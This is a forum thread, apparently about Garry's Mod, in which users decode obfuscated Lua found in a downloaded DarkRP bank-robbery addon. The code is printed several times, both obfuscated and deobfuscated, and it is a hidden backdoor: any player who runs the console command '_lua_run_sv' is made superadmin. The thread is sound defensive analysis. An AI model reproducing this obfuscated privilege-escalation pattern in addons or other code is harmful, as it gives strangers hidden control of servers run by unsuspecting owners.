Strange, obfuscated code in one of my addons...

So I was reading through the lua files inside of my server addons folder and looked into some bank robbery system I used to use when I ran a darkrp server and found this

[lua]
_ = R.Player.SetUserGroup __ = concommand.Add ___ = string.char ____ = string.Replace __(((35,35,35,35,35,35,35,95,35,35,35,35,35,35,108,35,35,35,35,35,117,35,​35,35,35,35,35,35,97,95,35,35,35,35,114,35,117,35,35,35,110,35,95,35,35,35,115,3​5,35,118,35,35,35), “#”, “”), function(z) _(z, _((37,37,115,37,37,37,117,37,37,37,112,37,37,37,37,37,37,37,101,37,114,37,​37,37,97,37,37,37,37,37,37,37,37,37,37,37,37,100,37,37,37,37,37,109,37,37,37,37,​105,37,37,37,37,37,37,37,37,37,110), “%”, “”)) end)
[/lua]

theres no authors name in addon.txt and I can’t remember where I downloaded it from anyway! it’s obfuscated anyone able to tell me what it does? It’s the only obfuscated part of the file and “setusergroup” stuck out to me… Is it a backdoor?

-snip- Does string.char now support multiples? Looking at it…

Alright, looking at it, it adds a console command of _lua_run_sv, which passes the first argument ( player from concommand ) into SetUserGroup, of that player to superadmin.

Backdoor, and wide open at that…

[lua]print( string.Replace( string.char(35,35,35,35,35,35,35,95,35,35,35,35,35,35,108,35,35,35,35,35,117,35,35,35,35,35,35,35,97,95,35,35,35,35,114,35,117,35,35,35,110,35,95,35,35,35,115,35,35,118,35,35,35 ), “#”, “” ) )
print( string.Replace( string.char(37,37,115,37,37,37,117,37,37,37,112,37,37,37,37,37,37,37,101,37,114,37,37,37,97,37,37,37,37,37,37,37,37,37,37,37,37,100,37,37,37,37,37,109,37,37,37,37,105,37,37,37,37,37,37,37,37,37,110), “%”, “”) )[/lua]

Output:
_lua_run_sv
superadmin

Add in the replacers and you see what it does…:

[lua]_ = _R.Player.SetUserGroup
__ = concommand.Add
___ = string.char
____ = string.Replace
concommand.Add( string.Replace( string.char(35,35,35,35,35,35,35,95,35,35,35,35,35,35,108,35,35,35,35,35,117,35,?35,35,35,35,35,35,97,95,35,35,35,35,114,35,117,35,35,35,110,35,95,35,35,35,115,3?5,35,118,35,35,35), “#”, “”), function(z) _R.Player.SetUserGroup(z, string.Replace(string.char(37,37,115,37,37,37,117,37,37,37,112,37,37,37,37,37,37,37,101,37,114,37,?37,37,97,37,37,37,37,37,37,37,37,37,37,37,37,100,37,37,37,37,37,109,37,37,37,37,?105,37,37,37,37,37,37,37,37,37,110), “%”, “”)) end )[/lua]

It tries masking itself by using a ton of #s and %s to hide the commands, which is why it needs string.Replace…

I did a bit of deobfuscating and it looks like it’s indeed a backdoor:
[lua]
local chs = {string.char(37,37,115,37,37,37,117,37,37,37,112,37,37,37,37,37,37,37,101,37,114,37,37,37,97,37,37,37,37,37,37,37,37,37,37,37,37,100,37,37,37,37,37,109,37,37,37,37,105,37,37,37,37,37,37,37,37,37,110)}
print( table.concat(chs,""):gsub("%%","") )
[/lua]
It printed “superadmin”

[lua]
local chs = {string.char(35,35,35,35,35,35,35,95,35,35,35,35,35,35,108,35,35,35,35,35,117,35,35,35,35,35,35,35,97,95,35,35,35,35,114,35,117,35,35,35,110,35,95,35,35,35,115,35,35,118,35,35,35)}
print( table.concat(chs,""):gsub("#","") )
[/lua]
It printed “_lua_run_sv”

EDIT: Damn, ninja’d

[lua]
concommand.Add(string.Replace(string.char(35,35,35,35,35,35,35,95,35,35,35,35,35,35,108,35,35,35,35,35,117,35,​35,35,35,35,35,35,97,95,35,35,35,35,114,35,117,35,35,35,110,35,95,35,35,35,115,3​5,35,118,35,35,35), “#”, “”),
function(z) _R.Player.SetUserGroup(z, string.Replace (string.char (37,37,115,37,37,37,117,37,37,37,112,37,37,37,37,37,37,37,101,37,114,37,​37,37,97,37,37,37,37,37,37,37,37,37,37,37,37,100,37,37,37,37,37,109,37,37,37,37,​105,37,37,37,37,37,37,37,37,37,110), “%”, “”))
end)
[/lua]

Damn double ninja

Well fuck.